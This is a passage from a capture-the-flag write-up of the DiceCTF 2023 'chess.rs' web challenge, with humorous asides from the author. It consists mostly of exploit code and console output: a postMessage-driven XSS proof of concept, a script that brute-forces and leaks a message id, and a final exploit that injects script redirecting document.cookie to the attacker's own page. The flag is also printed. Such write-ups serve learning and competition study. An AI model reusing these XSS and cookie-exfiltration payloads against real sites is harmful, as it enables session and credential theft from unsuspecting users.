<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">)</span>
<span class="w"> </span><span class="p">})</span>
<span class="p">}</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">visit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="p">(</span><span class="nx">url</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">browser</span><span class="p">;</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">browser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">puppeteer</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span>
<span class="w"> </span><span class="nx">headless</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">pipe</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">args</span><span class="o">:</span><span class="w"> </span><span class="p">[</span>
<span class="w"> </span><span class="s2">"--no-sandbox"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"--disable-setuid-sandbox"</span><span class="p">,</span>
<span class="w"> </span><span class="p">],</span>
<span class="w"> </span><span class="nx">dumpio</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">page</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="s1">'https://chessrs.mc.ax'</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">timeout</span><span class="o">:</span><span class="w"> </span><span class="mf">3000</span><span class="p">,</span><span class="w"> </span><span class="nx">waitUntil</span><span class="o">:</span><span class="w"> </span><span class="s1">'domcontentloaded'</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">evaluate</span><span class="p">(</span><span class="nx">flag</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">`flag=</span><span class="si">${</span><span class="nx">flag</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">FLAG</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">timeout</span><span class="o">:</span><span class="w"> </span><span class="mf">3000</span><span class="p">,</span><span class="w"> </span><span class="nx">waitUntil</span><span class="o">:</span><span class="w"> </span><span class="s1">'domcontentloaded'</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">3000</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
<span class="w"> </span><span class="nx">browser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">finally</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">browser</span><span class="p">)</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">};</span>
<span class="c1">// place your exploit URL here</span>
<span class="nx">visit</span><span class="p">(</span><span class="s2">"EXPLOIT_URL"</span><span class="p">);</span>
</code></pre></div>
<p>First of all, puppeteer uses <strong>Chromium</strong> by default, which allowed us to create a more suited test environment. Also now we know that cookies are set directly with <code>document.cookie='flag=...'</code> which proved that they have the default security setting <strong>SameSite=Lax</strong>, that is also why our first attempt didn't work. Also, puppeteer <strong>doesn't disable Popups</strong> which is major news because our web specialist advised us on using <code>window.open(...)</code> instead of iframes because it allowed us to access <code>SameSite: Lax</code> cookies.</p>
<h3>XSS PoC V2</h3>
<p>Now we need to create a new Proof of Concept using <code>window.open(...)</code>:</p>
<p><em>poc2.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span><span class="p">></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"http://192.168.56.10:1337/"</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">origin</span><span class="p">);</span><span class="w"> </span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be20c0ffee'</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'<img src=x onerror=alert(1)>'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">});</span><span class="w"> </span>
<span class="p">},</span><span class="w"> </span><span class="mf">250</span><span class="p">);</span>
<span class="w"> </span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p><img alt="XSS2" src="/images/dicectf2023/xss2_poc.png"></p>
<p>This was a fairly easy task, because it still used <code>.postMessage(...)</code> for communication</p>
<h3><a href="https://youtu.be/rKMMCPeiQoc">the_definition_of_insanity.mp3</a></h3>
<p>Now that we have our new proof of concept we need to leak the id. Sadly our old leak didn't work and we needed to brute force the different combinations of message and leak length again.</p>
<p><a href="https://youtu.be/WyF8RHM1OCg?t=76">here_i_go_again.mp3</a></p>
<p>After a few hours, i once again create a leak id script that worked on my test environment.</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">delaytime</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">50</span><span class="p">;</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">exploitWindow</span><span class="p">(){</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">),</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x60</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0xc</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id3</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x10</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id3</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">alphabet</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">2</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">alphabet</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">3</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sb">`<script> console.log('</span><span class="si">${</span><span class="nx">id</span><span class="si">}</span><span class="sb">:' + document.cookie); document.location = '</span><span class="si">${</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="si">}</span><span class="sb">/extract.html?' + document.cookie </script>`</span><span class="p">;</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">payload</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div>
<p>That once again managed to leak the 15 Bytes of the id:</p>
<div class="highlight"><pre><span></span><code>Window PWN
index.js:37 {id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "Q5D46ARH\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
moves: [],
},
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________________:\"NK\u{13}\0\0\00x6fe1be3H\"}#\0\0\0___",
moves: [],
},
}' already exists
index.js:37 {id: '', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________te\",\u{1b}\0\0\0errorCqusQQ5D46",
moves: [],
},
}' already exists
index.js:84 NK CqusQQ5D46ARH
</code></pre></div>
<blockquote>
<p>Authors Note:</p>
<p>I need the reader to understand that at this point I probably spent about 8 hours of my life manually changing the lengths of strings which brought me to the brink of insanity. After spending this plus more hours on this challenge I didn't just want the flag.</p>
<p><a href="https://youtu.be/UxYkB3BE5HE?t=23">I_need_it.mp3</a></p>
</blockquote>
<h3>Mental Breakdown</h3>
<p>After doing nearly every step again except this time using a new window instead of an iframe my hopes were up again. With only a few hours reaming until the CTF closes I hoped that this time everything would work out and we finally get the flag.</p>
<p>Once again everything worked on my machine. This time it was also possible to extract LAX document.cookies, which worked on my test instance as well as the main instance one <a href="https://chessrs.mc.ax">chessrs.mc.ax</a>. But to my surprise, I didn't work.</p>
<p><a href="https://youtu.be/tHtDpDuaiv4">ARE_YOU_KIDDING_ME.mp3</a></p>
<blockquote>
<p>Authors Note:</p>
<p><em>insert rant about web challenges here</em></p>
</blockquote>
<h3>Light at the end of a Tunnel</h3>
<p>Luckily by desperately playing around with my exploit, I concluded that the problem was the duration of my delay and by doubling it, it finally worked on the admin bot <em>:,)</em> .</p>
<p><a href="https://youtu.be/YZAQBG4Qbt8">LEEETTTTSSSS_GGOOOOOOOOOOO!!!!!111!1.mp3</a></p>
<p>Flag: <code>dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}</code></p>
<p>Final Exploit (deployed on apache2) :</p>
<p><em>index.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>chess.rs exploit<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="cm"><!--iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe--></span>
<span class="cm"><!--<iframe src="https://chessrs.mc.ax/engine.html" id="engine"></iframe>--></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">"module"</span> <span class="na">src</span><span class="o">=</span><span class="s">"/js/index.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p><em>js/index.js</em></p>
<div class="highlight"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">delay</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="p">));</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">alphabet</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://chessrs.mc.ax/"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">origin</span><span class="p">);</span>
<span class="c1">//const index = document.getElementById('index').contentWindow;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be2'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be3'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">''</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'PWN'</span><span class="p">);</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">delaytime</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">100</span><span class="p">;</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">'error'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">82</span><span class="p">,</span><span class="mf">8</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">8</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">109</span><span class="p">,</span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">' '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">3</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">120</span><span class="p">,</span><span class="mf">5</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="mf">8</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">source</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">){</span>
<span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">;</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">exploitIframe</span><span class="p">,</span><span class="w"> </span><span class="nx">delaytime</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">};</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="nx">nmb</span><span class="p">){</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nmb</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="s2">"_"</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">exploitWindow</span><span class="p">(){</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">),</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x60</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="nx">delaytime</span><span class="p">);</span>
